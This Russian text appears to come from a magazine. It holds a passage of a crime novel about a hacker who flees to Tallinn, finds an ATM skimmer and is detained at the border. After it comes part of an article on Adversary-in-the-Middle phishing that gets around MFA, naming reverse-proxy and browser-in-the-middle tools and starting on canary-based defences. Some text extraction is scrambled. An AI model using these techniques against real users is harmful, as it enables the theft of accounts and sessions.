на  удивление быстро, а  вот скорая почему‑то запаздывала. Анжела‑Света
куда‑то испарилась. Ну и хорошо, не до нее сейчас.

— Алкоголь употребляли?  — спросил подошедший инспектор, спрятав
в карман его документы и подозрительно принюхиваясь.

«Да не  только алкоголь,  — подумал про  себя Александр Евгеньевич,  —
там почти вся таблица Менделеева…» Но  вслух, конечно, он этого не  про‐
изнес, решив благоразумно промолчать.

— Пройдемте в  машину,  — строго приказал полицейский, открывая зад‐
нюю дверь своей «патрульки».

***

— Слушай, а это у тебя откуда?
Алла, поджав под  себя соблазнительные голые ноги, листала на  экране

какие‑то файлы. Кирилл заглянул ей через плечо: девушка нашла на диске те
самые сообщения с неизвестного хакерского форума.

— Слил с одного сервака, — откликнулся он, — сам не знаю, что это такое,
но тексты там интересные, много полезной информации. Почитай на досуге.
Вообще странная история: сервер сначала отвечал, потом как  будто испа‐
рился…

— Может, ханипот? — предположила Трикси.
Кирилл на  самом деле думал об  этом. Для  неопытного взгляда ханипот

выглядел обычным сервером, затерянным где‑то в глубине сети, как малень‐
кий неприметный домик на  краю деревни  — с  символическими запорами
на  дверях, открывающимися без  особого труда. Вот только хакер, проб‐
равшийся внутрь, не  мог быть уверен, что домик этот действительно пуст
и что за порогом его не поджидают ловушки, от которых срабатывает тревож‐
ный звоночек в каком‑нибудь полицейском управлении. На самом деле в нед‐
рах ханипота не  было ничего, кроме искусственно созданной приманки,
но опытный игрок сразу понимал: что‑то здесь не так. Однако новички или те,
кто в поисках трофеев привык доверять удаче, бросались в виртуальный кап‐
кан с азартом. И тогда ловушка захлопывалась. За каждым запросом, за каж‐
дым обращением к  файлу пристально следил владелец ханипота. Это  был
тест на самонадеянность, черное зеркало, в котором хакер мог увидеть свое
отражение и  осознать, что сам внезапно стал жертвой, пытаясь быть охот‐
ником.

— Да нет, не похоже, — пожал плечами Кирилл, — тут что‑то другое. Вот
что — я никак не могу понять… Слишком много личного в этих сообщениях,
Трикси.

Он назвал ее по нику, как часто делал, когда они принимались обсуждать
какие‑то рабочие вопросы. Алла, кажется, воспринимала это  нормально
и тоже включалась в игру — так удавалось удержать беседу в рамках, не ска‐
тываясь во  взаимные подколы и  интимные шуточки, которые чаще всего
заканчивались в постели.

— И сервер исчез сразу, как ты скачал архив? — уточнила она.
— Нет. Вернее, я не  знаю точно. Спустя какое‑то время я попытался

законнектиться снова, но хост пропал, как будто кто‑то специально ждал, ког‐
да я закончу. Никаких следов, кроме этого файла.

— Странно,  — Алла закусила губу, и  взгляд ее сделался задумчивым.  —
Понять бы, что это было.

Кирилл кивнул. Он и сам раздумывал над этой загадкой, но возникающие
мысли казались слишком нелепыми, почти фантастическими. Найденная им
информация  — словно осколок киберпространства, которого больше
не  существует, информационный след, созданный теми, кто, возможно, уже
навсегда исчез из этой реальности.

Размышления прервала назойливая мелодия из  «Бригады»  — это  ожил
безмятежно спавший на диване мобильный телефон. Киря взглянул на экран:
звонил Максим, что стало для  него полной неожиданностью. Обычно он
набирал этот номер сам, если хотел срочно пробить какую‑то полезную
информацию или  решить ту или  иную проблему. Впрочем, серьезных проб‐
лем с момента их первого знакомства так ни разу и не возникло.

— Да? — произнес он, приняв звонок.
— Хрен от верблюда́, — в рифму отозвались в трубке. — Занят?
— А что случилось? — предчувствуя недоброе, поинтересовался Кирилл.
— Пока ничего,  — отозвался звонивший,  — подруливай через часик

в «Волну», поговорить надо.
На этом короткий разговор прервался.
— Кто там? — встревоженно спросила Алла.
Вместо ответа Киря сложил над головой ладони домиком, изображая кры‐

шу, и принялся натягивать висевшие на спинке стула джинсы.

Максим с Игорем сидели за столиком у окна, с аппетитом поедая крабовый
салат. «Интересно, они и  в сортир вот так вот парой все время ходят?»  —
подсаживаясь на свободное место, подумал про себя Кирилл. Толстый Иго‐
рек молча протянул ему стопарик с водкой, но Киря мотнул головой: разговор
явно предстоял непростой, не зря же его вот так вдруг выдернули на встречу?
А значит, лучше на всякий случай иметь свежую голову.

— Тут это, предъява к  тебе есть,  — мрачно сказал Максим, доскребая
остатки салата с  тарелки.  — Помнится, я пару месяцев назад обмолвился
между делом, что к твоему однокласснику бывшему серьезные люди интерес
имеют. Было дело?

Кирилл кивнул: слишком уж настойчиво Максим расспрашивал его
про Санчо, все пытался вызнать, что тот за человек, чем интересуется, с кем
общается, какие у него увлечения в жизни. Кирилл не мог не осведомиться,
с чем связаны столь странные вопросы. Тот и ответил: интересуются, мол, его
товарищем важные люди в  компетентных инстанциях, слишком уж заметен
его бизнес стал для скромного и маленького Подгорска.

— Ну и  на хрена ты ему о  нашем разговоре растрепал?  — посмотрел
на него Максим исподлобья.

— Не  растрепал, а  предупредил,  — поправил его Кирилл.  — Мы друзья,
с детства вместе.

— Слышь, Киря, не лезь ты не в свое дело, — вступил в разговор Игорь. —
Вот по‑человечески тебя прошу, не надо. Ты в курсе, что этот твой друг детс‐
тва человека чуть не  насмерть сбил, будучи угашенным в  мясо? Искалечил
ни в чем не повинного велосипедиста.

Вот как. Об  этом Кирилл не  слышал, хотя и  предполагал, что увлечение
Санчо веществами до добра не доведет.

— А в машине у него потом наркоту нашли, в кармашке двери, — подлил
масла в  огонь Максим,  — изъяли с  понятыми, все как  положено. Вполне
может статься, и на адресе еще потом что‑то отыщется. Попал твой друган,
Киря, ничем ты ему уже не поможешь. Ты лучше о себе подумай.

— А что со мной? — насторожился тот.
Вместо ответа Игорь украдкой потер большой палец об  указательный.

Кирилл поморщился: деньги его собеседники получали регулярно, но в пос‐
леднее время начали требовать все больше и  больше. Он и  не заметил,
как стал отдавать им чуть ли не половину заработанного, и все шло к тому, что
скоро этот процент вырастет до  семидесяти. С  этими поборами, конечно,
нужно было что‑то делать, но  Киря не  имел ни  малейшего представления,
как теперь соскочить с крючка.

Помявшись для  вида, он достал из  кармана и  запихнул в  барсетку Мак‐
сима пухлый бумажный конверт. Тот кивнул своему толстому спутнику. Игорь
извлек из‑за пазухи компьютерную распечатку в мятом пластиковом файлике
и протянул ее Кириллу.

— На‑ка, почитай.
— Что это? — спросил он, пробежав глазами написанные сухим казенным

языком строчки.
— Ориентировка на тебя, — хмыкнул Игорь. — Европейцы отправили зап‐

рос в  Москву, те передали нам. Какие‑то твои делишки очень не  нравятся
зарубежным правоохранителям. Настолько, что они захотели познакомиться
с тобой поближе.

А вот это  очень неприятная, но  ценная информация. Если его не  запуги‐
вают на  пустом месте, то можно сказать, что оплаченные ранее суммы
начинают понемногу себя оправдывать.

— Ты вот что имей в виду, — подал голос Максим, — этим делом занима‐
ются ребята из  Главка, и, если тебя возьмут, мы ничем помочь не  сможем.
Думай сам, что тебе делать в этой ситуации. Но я бы на твоем месте нырнул
куда‑нибудь поглубже и не высовывался до поры до времени. Лучше вообще
уехать из города.

— Понял, учту, спасибо,  — Кирилл поднялся на  ноги и  протянул бумагу
обратно законному владельцу.

— Может, выпьешь?
— В другой раз, ребята, — пообещал Кирилл, понимая, что другого раза,

скорее всего, уже не будет.
Что ж, придется и вправду бросить все и залечь на дно, как щука, прячуща‐

яся от  расставленных в  заводи сетей среди зарослей камыша. Хитрая хищ‐
ница умеет терпеливо ждать неосторожную жертву, затаившись в  глубине,
но стоит только заподозрить опасность — бесследно растворяется в стоячей
воде. Нужно на время стать такой щукой, исчезнуть в омуте, пока все не уля‐
жется.

Собраться он сможет быстро, большим количеством вещей они с Трикси
так и  не успели разжиться. Предупредить мать, чтобы не  волновалась,
зашифровать и вытащить из компа жесткий диск, а лучше вообще перекинуть
все важные файлы на  ноут, а  винт утопить в  Подгорке. В  средствах Кирилл
сейчас стеснен не был: сумму, которой хватит на текущие расходы, он держал
в  «вебмани», что‑то было разбросано по  нескольким банковским счетам.
Только вот куда податься?

Лучше всего, конечно, в крупный город или в столицу: в многомиллионном
мегаполисе гораздо проще затеряться. Правда, билет на самолет или поезд
без паспорта не продадут, а по этим самым билетам все перемещения зап‐
росто можно отследить, да и жить придется без регистрации, чтобы лишний
раз не  светиться. Симку тоже нужно будет сменить: как  раз на  такой случай
у  Кирилла было припасено несколько купленных с  рук сим‑карт, которые он
до сих пор ни разу не вставлял в собственный телефон.

Самое лучшее, конечно, и вовсе свалить за границу, вряд ли его уже успе‐
ли объявить в  международный розыск. Загранпаспорта у  них с  Аллой есть,
действующие шенгенские визы тоже, они как  раз собирались слетать этим
летом на  пару дней в  Европу. Вот и  повод. Только опять же  — куда? Нужна
страна, где можно залечь на дно хотя бы на несколько месяцев или полгода,
где жилье и  пропитание стоят не  слишком дорого и  не возникнет больших
трудностей с  языком. Самой привлекательной в  этом отношении выглядит
Эстония, недавно как  раз присоединившаяся к  Шенгену,  — страна, как  и
Прибалтика в  целом, служившая мощным каналом увода денег из  России
на  Запад. Там жили несколько человек, которых Кирилл хорошо знал
по форуму и к которым, если что, можно будет обратиться. Да и по‑русски там
понимают многие. Варианта лучше, пожалуй, не найти.

Вечер они провели в сборах, а на рассвете его разбудил телефонный зво‐
нок.

— Кирюша?  — послышался в  динамике слегка напуганный и  чуть приг‐
лушенный голос соседки тети Тани, словно она говорила, зажимая телефон‐
ную трубку ладонью. — Ты уж прости, что я ни свет ни заря, но тут такое тво‐
рится, что я решила тебе срочно позвонить…

«Вот что у  нее за  манера ходить вокруг да  около?»  — с  раздражением
подумал Кирилл, но все же ответил максимально вежливо и приветливо:

— Здравствуйте, Татьяна Филипповна. Что произошло?
Неужто домой опять заявился пьяный отчим и начал дебоширить? По сро‐

кам его как раз должны были выпустить… Но сказанное соседкой опровергло
все его предположения:

— К Ирочке, ой, то есть домой к вам с утра милиционеры приходили. Тебя
искали. Мне тоже в  дверь позвонили, пригласили побыть понятой, они там
квартиру осматривали…

Милицию уже успели переименовать в  полицию, но  тетя Таня привычно
называла ее по‑старому.

— Что‑то забрали?
— Нет, ничего, только осмотрели Ирин телефон, переписали все из запис‐

ной книжки и ушли. Очень вежливые, приятные такие молодые люди…
А вот это  плохо. Они с  матерью регулярно перезванивались, его номер

записан в  ее адресной книге. Впрочем, если они закажут детализацию
вызовов, все его и ее звонки и без того будут как на ладони. Жаль, что Кирилл
не успел научить мать пользоваться более безопасными мессенджерами.

— Спасибо, теть Тань, — сказал Кирилл, — я вам очень обязан.
Вот теперь медлить уже нельзя. Скинув на  пол одеяло, он на  мгновение

залюбовался спящей в одних трусиках Трикси и принялся трясти ее за плечо:
— Алла, вставай! Ну вставай же! Нам пора.
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Лайонелл Эллингвуд определенно пребывал не в духе, и это его настро‐
ение ощущалось в  кабинете, как  атмосферное электричество, скопившееся
в воздухе перед грозой:

— Что там с этими русскими хакерами, Джейк? Прошла уже чертова уйма
времени, а результата все нет.

Кадлер знал, что этот вопрос обязательно возникнет на  сегодняшнем
совещании, и подготовился к нему заранее.

— Мельницы Господни мелют медленно, но  неумолимо,  — ответил он
цитатой из  старого английского стихотворения.  — Мы установили личности
всех участников группы и собрали необходимые доказательства. Теперь у нас
есть что им предъявить и есть вопросы, которые мы можем им задать. Проб‐
лема в другом.

— И в чем же, черт побери?
— Один из  них живет в  Германии, хотя имеет русское происхождение.

Этого наши европейские коллеги смогут задержать, после чего мы ини‐
циируем экстрадицию. А  вот с  теми, кто постоянно проживает в  России,
гораздо сложнее. Нам сообщили, что полиция наведалась по  известным
адресам, но  никого не  застала. Вычислить скрывающихся будет непросто,
у русских плохо налажен обмен информацией между разными ведомствами.

— И что вы предлагаете?
— Мы попытаемся выманить их за границу и задержать там. Мой отдел уже

работает над этим.
— Хорошо, Джейк, — хлопнул ладонью по столу Эллингвуд, — действуйте.

Надеюсь, у  вас уйдет на  это не  слишком много времени. За  последний год
мне уже все нервы вымотали с этой историей, а ведь к ней постоянно добав‐
ляются новые эпизоды. В  Форт‑Миде вообще считают, что мы тут ни  хрена
не работаем. Пора с этим заканчивать.

— Я понимаю, Лайонелл, — примирительно произнес Кадлер. — Мы дела‐
ем все возможное.

Он действительно надеялся в следующий раз порадовать шефа хорошими
новостями: все факты указывали на  то, что скоро это  затянувшееся дело
наконец‑то сдвинется с мертвой точки.

***

Таллин встретил их мелким моросящим дождем. Они бесцельно бродили
по  улочкам, и  непогода превращала этот спокойный, сдержанный город
в  нечто почти мистическое. Кирилл, прищурившись, оглядывался по  сто‐
ронам. Старые дома с покатыми крышами стояли плечом к плечу, словно им
было холодно и неуютно под нависшими над ними серыми облаками.

— Как думаешь, они всё это специально строили так, чтобы казалось, буд‐
то ты очутился в декорациях к какой‑то средневековой сказке? — произнесла
Алла.

Она подняла лицо к небу и зажмурилась, ловя капли дождя.
— Вполне возможно, — ответил Кирилл. — Тут у каждого камня, кажется,

свой характер.
Алла взяла его за руку. Ее ладонь показалась ему ледяной, как камни мос‐

товой, но в этом касании было что‑то теплое, родное. Свернув в очередной
переулок, они зашли в  небольшое уличное кафе и  заказали по  стаканчику
кофе с  кексами. Здесь было настолько тепло и  уютно, что хотелось сидеть
на высоких табуретах вечно, разглядывая бегущие по стеклу наперегонки кап‐
ли.

Границу, вопреки ожиданиям, они прошли без проблем — никто не задал
им ни единого вопроса ни с той, ни с другой стороны. Видимо, информация,
которой располагали полицейские, еще не добралась до пограничной служ‐
бы, либо документы затерялись где‑то по  дороге. А  может, о  них просто
забыли.

Кирилл снял тесную однушку в  обычной советской панельке из  бетонных
блоков, швы которых были промазаны серым цементом. Подобные здания
в основном и составляли кварталы Ласнамяэ, напоминавшие спальный район
обычного российского городка. Кирилл еще не знал точно, сколько времени
они планируют здесь провести, поэтому внес оплату на  пять дней вперед.
Да и квартира оказалась без особенных дизайнерских изысков, зато с вполне
современной мебелью и бытовой техникой. Оставив дома вещи, они отпра‐
вились гулять в  центр  — архитектура Старого города манила своей сред‐
невековой притягательностью.

Неторопливо обследовав Кесклинн, они поднялись в верхнюю часть Старого
города, полюбовались на  торчащие среди кирпично‑красных крыш пики
башен, а  потом решили добраться до  побережья Финского залива, но  так
и не нашли туда дорогу, окончательно заплутав среди извилистых переулков.
Очутившись на  небольшой площади в  окружении офисных зданий, Кирилл
отыскал глазами уличный банкомат  — пришло время пополнить запасы
наличных, которые уже подходили к  концу. Перед  ним к  аппарату подошла
женщина средних лет, и  Кирилл обходительно пропустил ее вперед, а  сам
принялся с  интересом разглядывать вмонтированное в  стену устройство.
Присмотревшись внимательнее, он вдруг ощутил то самое чувство, которое,
казалось, за годы стало его постоянным спутником, — легкий холодок подоз‐
рения, который всякий раз подсознательно предупреждал его об опасности.

— Стойте! Stop! — крикнул он, когда женщина уже протянула руку, чтобы
засунуть карточку в щель считывателя.

Та испуганно отшатнулась и  непонимающе уставилась на  Кирилла круг‐
лыми глазами, казавшимися еще больше за толстыми стеклами очков.

Показалось? Или  все‑таки нет? Панель для  приема карт выглядела нем‐
ного странно — словно на нее наложили тень с затейливым отливом. Кирилл
деликатно оттеснил даму от банкомата, взялся за зеленый пластик картопри‐
емника, чуть покачал его из  стороны в  сторону и  с силой потянул на  себя.
Издав сухой треск, считыватель послушно оказался у него в руке, а на блес‐
тящей механической поверхности банкомата остался еще  один, в  точности
такой же. Ошибки не  было. Кирилл осторожно подцепил ногтем краешек
ПИН‑пада и  снял не  слишком надежно приклеенную клавиатуру  — под  ней,
разумеется, обнаружилась вторая точно такая же. Женщина, что‑то пробор‐
мотав себе под нос по‑эстонски, быстро засеменила прочь, поминутно огля‐
дываясь, — подальше от этих странных русских, ломающих банкоматы среди
бела дня у всех на виду. Через плечо заглянула Алла, коснувшись волосами
его щеки.

— Скиммер,  — прошептала она, и  в этом слове прозвучала смесь удив‐
ления и  уважения к  тем, кто придумал это  маленькое, но  коварное устрой‐
ство.

— Ага. В  первый раз вижу своими глазами,  — ответил Кирилл, разгля‐
дывая крошечную печатную плату с  батарейкой, закрепленную с  внутренней
стороны считывателя. — Кому‑то здесь сильно понадобились чужие деньги.

Кирилл повертел в  руках панель с  кнопками, чувствуя себя невольным
участником чужого спектакля, случайно оказавшимся на сцене и не знающим
сценария. Те, кто изготовил это устройство, и вправду были мастерами сво‐
его дела. На первый взгляд банкомат ничем не отличался от других таких же,
но  чуть‑чуть выдвинутая вперед пластиковая панель, искусно повторяющая
контуры настоящей, записывала в память информацию с банковских карточек
всех воспользовавшихся устройством клиентов. А накладная клавиатура сох‐
раняла введенные ПИН‑коды. Забрав деньги, человек уходил, а  скиммер
оставался  — с  набором украденных данных, которыми скоро будут рас‐
поряжаться те, кто лучше всех знает, как  использовать человеческую нев‐
нимательность в свою пользу.

— Пойдем,  — потянула его за  рукав Алла,  — не  хватало еще, чтобы нас
задержала полиция с этим вот в руках. Потом не докажем, что это не мы его
сюда установили.

Трикси права. Положив фальшивый ПИН‑пад и считыватель прямо на тро‐
туар, Кирилл поспешил прочь: неприятности ему сейчас совершенно не нуж‐
ны.

Тем не менее эти самые неприятности заявили о себе уже на следующее
утро, правда, явились они совсем не  оттуда, откуда их ждали. Когда Кирилл
с  Аллой добрались до  дома, дождь стал гуще, превратившись в  вязкую
пелену, а город окончательно потерял краски, выцвел, оставив лишь палитру
из тысяч оттенков серого. Промокнув и продрогнув, они согрелись под оде‐
ялом, но  с рассветом Кирилл открыл глаза совершенно разбитым: голову
будто наполнили свинцовыми шариками, в горле саднило, а суставы ломило
так, что вылезать из  теплой постели совершенно не  хотелось. Накатившая
болезненная волна, как коварный враг, исподтишка ударила в спину.

Проснувшаяся ближе к  обеду Алла почувствовала неладное, потрогала
холодной ладонью его лоб и, быстро одевшись, отправилась на улицу в поис‐
ках лекарств. Ее долго не было: висевшие на стене старые часы отстукивали
метрономом секунду за секундой, а температура, похоже, росла, лишая мыс‐
ли ясности. Кирилл то погружался в  полудрему, то опять приходил в  себя.
Временами его сознание туманилось и  казалось, что мир, такой яркий
и наполненный солнечным светом еще утром, превратился в зыбкое и вязкое
болото.

Он не знал, сколько прошло времени, прежде чем Трикси вернулась. Она
напоила его чем‑то шипучим из  кружки, заставила разжевать горьковатую
таблетку. Кирилл уснул, но  сон был беспокойным и  поверхностным, ему
казалось, что он очутился в безлюдном призрачном городе среди окутанных
туманом улочек, по которым плутали призраки его мыслей, наполняя все вок‐
руг странной смесью отрешенности и тоски.

Следующим утром состояние ухудшилось: к  слабости, ноющим суставам
и  высокой температуре добавился назойливый кашель. Кирилл практически
утратил чувство реальности: день сменяла ночь, он проваливался в небытие,
просыпался, пил лекарства и  засыпал снова. Иногда Трикси заставляла его
что‑то пожевать, несмотря на полное отсутствие аппетита. Он не знал, сколь‐
ко прошло времени, когда в  очередной раз пришел в  себя и  почувствовал,
что болезнь вроде бы немного отступила — слабость и приступы кашля оста‐
лись, но он уже как минимум понимал, где находится и что с ним происходит.

За окном было темно. Алла сидела на полу с ноутбуком на коленях, поджав
под  себя ноги. Часы на  стене оглушительно тикали, отсчитывая секунды,
и этот размеренный звук смешивался с тихими щелчками мыши.

— Что пишут? — спросил Кирилл и не узнал своего охрипшего голоса.
— Зиробайта арестовали в Германии, — не отрываясь от экрана, ответила

Трикси,  — а  Фокса задержали в  Турции, куда он отдыхать прилетел, прямо
в аэропорту.

Хреновые новости, хуже не  бывает. Если участников Sсade начали брать
за границей по одному, то прямо сейчас они подвергают себя смертельному
риску. То, что до них самих пока еще не добрались, можно считать необык‐
новенным везением.

— Думаю, нужно возвращаться,  — подняла глаза Алла, буквально пов‐
торяя вслух его мысли, — в Европе у нас мало шансов выкрутиться, да и адво‐
каты с переводчиками тут влетят в целое состояние. Дома проще. И к врачу
тебе нужно показаться. Ты как?

— Нормально,  — отозвался Кирилл, приподнимаясь на  локте.  — Башка
немного кружится, но  доберемся как‑нибудь. Лучше всего через Нарву
в Питер, город большой, там легче затеряться.

— Я тоже так думаю, — кивнула Алла, — тогда завтра утром и рванем. Пос‐
тарайся еще поспать.

Пограничный переход в  Нарве  — длинная стеклянная колбаса, протянув‐
шаяся вдоль нависшего над  рекой моста. Сквозь мутноватые стекла видна
черная, густая, как кровь, вода. В ней, будто в зеркале, отражаются каменные
стены древней крепости, памятника ушедших времен, украсивших бастионы
боевыми ранами выбоин и трещин.

На эстонской стороне паспортный контроль занял всего лишь несколько
минут, а вот на противоположном берегу реки возле заветных окошек обра‐
зовалась небольшая очередь. Кирилл все еще  чувствовал слабость
и  поминутно кашлял, но  держался более‑менее уверенно, надеясь, что
это испытание скоро закончится.

Наконец настал его черед: протянув загранпаспорт суровой женщине
в форме, он вымученно улыбнулся. Та перелистала документ, пристально заг‐
лянула ему в  лицо, что‑то набрала на  невидимой клавиатуре. Затем вдруг
прикрыла стеклянной дверцей окошечко своей будки, сняла телефонную
трубку и принялась с кем‑то говорить — Кирилл не слышал ни слова. Вытянув
шею, он увидел, что возле соседнего окна, где топталась Алла, тоже возникла
какая‑то заминка.

— Кирилл Анатольевич?
В проходе возник пограничник в  сопровождении двух молодых мужчин

в полицейской форме. Сидевшая в будке сотрудница открыла дверцу и про‐
тянула ему паспорт Кирилла.

— Пройдемте с нами, пожалуйста.
Кирилла провели в  небольшое помещение без  окон, посреди которого

громоздился пустой письменный стол, а возле стен стояли несколько стуль‐
ев. Его заставили вытащить всё из карманов и вывернули содержимое рюк‐
зака. Трусы, носки и  салфетки пограничников совершенно не  заинтересо‐
вали, а вот ноутбук привлек их внимание. Сотрудник в форме откинул крышку,
нажал кнопку питания, затем развернул компьютер монитором к Кириллу.

— Введите пароль, пожалуйста.
— Забыл, — развел руками тот.
— Кирилл Анатольевич, мы тут не  шутки шутим. Давайте не  будем все

усложнять.
— Я тоже не шучу. Не помню, извините. Я очень плохо себя чувствую.
— Что ж, придется подождать, пока память к вам вернется, — недовольно

ответил пограничник и сделал знак сопровождающим.
Кирилла отвели в  другую комнату, предназначенную, по  всей видимости,

для  депортируемых лиц  — с  жесткой скамейкой вдоль крашенной зеленой
краской стены и  небольшим окном, забранным снаружи прочной решеткой.
Сейчас здесь, кроме него, никого не было, но это не скрашивало паршивой
ситуации: вещи, ноутбук и  телефон ему так и  не вернули. Ко  всему прочему
Кирилла донимали приступы кашля, и, кроме того, все сильнее и  сильнее
хотелось есть. Хотя бы в уборную ему разрешили сходить, да и то после дол‐
гого и  настойчивого стука в  дверь. Больше всего его беспокоила судьба
Аллы: судя по всему, у нее тоже возникли проблемы на границе, и с тех пор,
как  его задержали, он ее не  видел. Раздражала и  неизвестность: никто
не  потрудился объяснить ему причину, по  которой он очутился здесь, пог‐
ранцы не оформили никаких бумаг, не рассказали, чего ждать дальше.

Зарешеченное окошко налилось вечерней синевой, когда щелкнул двер‐
ной замок и  в узилище впорхнул щуплый востроносый человечек в  длинном
летнем плаще.

— Кирилл, здравствуйте,  — протянул он ему костлявую сухую руку,  — я
Алексей, представляю тут ваши интересы.

— Адвокат, что ли? — недоверчиво посмотрел на незваного гостя Кирилл.
Он слышал о том, что навязанные полицейскими адвокаты частенько игра‐

ют против клиента и с ними лучше на всякий случай держать ухо востро.
— Ну, можно и так сказать, — хохотнул визитер, — хотя вас пока еще ни

в чем не обвиняют.
— Я не нанимал адвоката.
— Меня попросил помочь ваш старый знакомый,  — уклончиво ответил

Алексей, — поэтому я здесь.
Очень странно. Интересно, какой это  знакомый узнал о  его проблемах

и  решил нанять помощника? Что‑то здесь определенно не  так. Как  бы то
ни было, доверять этому типу, пожалуй, не стоит.

— В таком случае, может, вы объясните, за что меня задержали? — спро‐
сил Кирилл.

Алексей задумчиво потер переносицу.
— Видите ли, западные спецслужбы, из тех, что компьютерные преступле‐

ния расследуют, отправили запрос на ваш арест. Причем отправили и им, —
защитник кивнул в сторону окна, где, по его мнению, располагался эстонский
берег Нарвы,  — и  нашим. Те благополучно всё прошлепали, а  вот с  нашей
стороны пограничники проявили служебную бдительность, хе‑хе…

— Что с Аллой? — перебил его Киря.
— С ней все в порядке, не беспокойтесь. Скоро увидитесь. Скажите луч‐

ше, что вам необходимо прямо сейчас?
— Когда меня отпустят?
— Потом, все потом,  — отмахнулся Алексей,  — я повторю вопрос: что я

могу сделать для вас сейчас? Сигареты? Может быть, теплая одежда?
— Поесть бы, — смирился Кирилл, понимая, что ответов на свои вопросы,

скорее всего, не  получит,  — и  у меня в  вещах были таблетки от  кашля, они
мне нужны.

— Да, хорошо, я попрошу, чтобы принесли ужин, — засуетился Алексей, —
вот, возьмите. Человек, который меня прислал, просил передать вам это.
Сказал, вы такой любите.

Кирилл с удивлением принял из рук визитера небольшую коробочку тем‐
но‑зеленого цвета. Очень странно: яблочный сок Кирилл терпеть не мог.

— Я вернусь к вам завтра, — заверил его Алексей, — а пока пойду узнаю
насчет еды.

Когда за  гостем закрылась дверь и  щелкнул замок, Кирилл устало опус‐
тился на  лавку и  принялся вертеть в  руках коробку сока. Ну хоть с  голоду
не  дадут умереть, уже хорошо. Интересно, откуда все‑таки взялся этот
парень? И что означает его подарочек?

С ламинированного картона весело улыбалось карикатурное семейство,
тянувшее руки к  украшенной сочными плодами яблоне. А  чуть ниже Кирилл
разглядел ярко‑желтую надпись: Fresh.
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инструмент

Этот же сценарий характерен для многих целевых атак. Где‑то еще работает,
но  теряет свою эффективность по  мере внедрения программ повышения
осведомленности, технологий фильтрации почтового контента и  многофак‐
торной аутентификации ( ).MFA

MFA не дает атакующему воспользоваться украденной учеткой, потому что
для доступа к данным требуется второй фактор, который остается у сотрудни‐
ка. Для обхода средств MFA атакующий сместил фокус с кражи пароля на кра‐
жу пользовательской сессии. Так появились атаки 
(AitM).

Adversary-in-the-Middle

Техники AitM основаны на  использовании прокси‑инструментов, стоящих
между жертвой и  порталом для  логина (например, SSO-порталом: Okta,
Google Workspace и  так далее). То есть пользователь видит реальную стра‐
ницу для логина, но где‑то между пользователем и этой страницей атакующий
получает под  свой контроль пользовательскую сессию. И  даже не  нужно
красть пароль от учетной записи, потому что пользовательские сессии могут
оставаться активными больше месяца.

Схема AitM-атаки

ЧЕЙ-ТО БРАУЗЕР ПОСЕРЕДИНЕ: ИНСТРУМЕНТЫ BITM-ФИШИНГА

Для проведения AitM-фишинга существуют две основные техники: Browser-in-
the-Middle ( ) и Reverse Web Proxy.BitM

Техника «браузер посередине» основана на  интеграции инфраструктуры
атакующего в соединение между браузером жертвы и целевым веб‑приложе‐
нием. Как  только жертва перейдет по  фишинговой ссылке, атакующий нап‐
равит ее браузер на свою платформу, которая будет перенаправлять все зап‐
росы к  оригинальному веб‑ресурсу. И  заодно перехватывать данные в  этом
соединении.

Жертва не должна заметить ничего подозрительного, потому что взаимо‐
действует с  легитимным сайтом. В  ее браузере отображается браузер ата‐
кующего с  тем же контентом, что и  обычно. Для  этого злодею необходимо
развернуть платформу, которая состоит из нескольких компонентов:
1. Кастомизированный браузер с  минимальным GUI, чтобы не  отвлекать

пользователя необычными элементами интерфейса. Для  этого часто
используется Chromium, развернутый на базе дистрибутива с Fluxbox.

2. VNC-сервер, который обеспечивает доступ к браузеру атакующего и уста‐
навливается в его инфре.

3. VNC-клиент. Например, noVNC. Работает в  контексте браузера жертвы
и  подключается к  VNC-серверу. Подключение происходит с  помощью
набора JS-скриптов и кода HTML5 и не требует установки дополнительных
модулей.

Такой набор позволяет браузеру жертвы получить доступ к  легитимному
веб‑приложению и при этом передавать секреты злоумышленнику.

Схема BitM-фишинга

Вот набор утилит, которые упростят проведение BitM-атак для Red Team:
  — с  применением Docker позволяет быстро развернуть все

компоненты платформы для проведения BitM-атак;
• EvilnoVNC

 — аналогичная платформа, но на базе технологии WebRTC.• CuddlePhish

Blue Team, готовь детекты!

ОБХОД МНОГОФАКТОРНОЙ АУТЕНТИФИКАЦИИ С ПОМОЩЬЮ
REVERSE WEB PROXY

Ограничения BitM-атак не позволяют использовать эту технику для массового
фишинга. Когда контент отображается в  браузере через протоколы удален‐
ного доступа, пользователю достаточно изменить размер окна браузера, что‐
бы заметить что‑то подозрительное в  отображении страницы. А  еще в  кор‐
поративной сети у  Blue Team могут быть детекты скриптов noVNC. Поэтому
BitM хорошо подходит для  точечных атак, но  не годится для  широкого при‐
менения.

Техника Reverse Web Proxy основана на  использовании инструментов,
которые перенаправляют HTTP-запросы от браузера жертвы к ресурсу через
прокси‑сервер атакующего.

Схема атаки Reverse Web Proxy

Инструменты для реализации со схожими возможностями:
  — пожалуй, самый популярный фреймворк, написанный на  Go.

Поднимает свой HTTP- и  DNS-сервер для  перехвата учетных записей
и пользовательских сессий для обхода MFA.

• Evilginx

  — аналогичный инструмент, разработчик которого описывает
свое решение как  «point-and-click», то есть его просто настроить и  авто‐
матизировать.

• Modlishka

.• Muraena
.• CredSniper

INFO

Подробнее об  организации фишинговых кам‐
паний читай в  статье «

».

Evilginx + Gophish. Под‐
нимаем инфраструктуру для симуляции фишинга
с обходом 2FA

Для защиты от  этой техники разработчик веб‑приложения с  MFA должен
использовать дополнительные меры. Например, добавить в свое приложение
код на JS для проверки легитимности домена, который загружает страницу.

Как защититься: расставляем ловушки с помощью JS- и CSS-
канареек
При основном сценарии фишинговых атак с  обратным прокси атакующий
делает следующее:
1. Регистрирует доменное имя, похожее на  доменное имя целевого

веб‑портала, который жертва использует для логина.
2. Размещает на  фишинговом домене прокси и  перенаправляет со  своего

домена все запросы от  браузера пользователя к  целевому ресурсу
и обратно.

3. Перехватывает весь процесс аутентификации и  извлекает из  HTTP-зап‐
росов ценные данные: пароли и сессионные куки.

4. Использует перехваченные сессионные куки для обхода мультифакторной
аутентификации.

Ключевое отличие AitM-фишинга от  классического: атакующему не  нужно
создавать фейковую страницу логина, которая полностью копирует оригинал.
В случае с AitM злодей демонстрирует жертве исходную страницу без изме‐
нений. Поэтому классические методы выявления фиш‑китов в  этом случае
не помогут.

Использование обратного прокси между браузером пользователя и пор‐
талом MFA можно обнаружить с  помощью скрипта на  JS, встроенного
в веб‑страницу. Этот скрипт может играть роль канарейки и сигнализировать
владельцу MFA-приложения и аналитику Blue Team о попытке фишинга:
1. Жертва открывает фишинговую ссылку, и в браузере срабатывает скрипт

на JS.
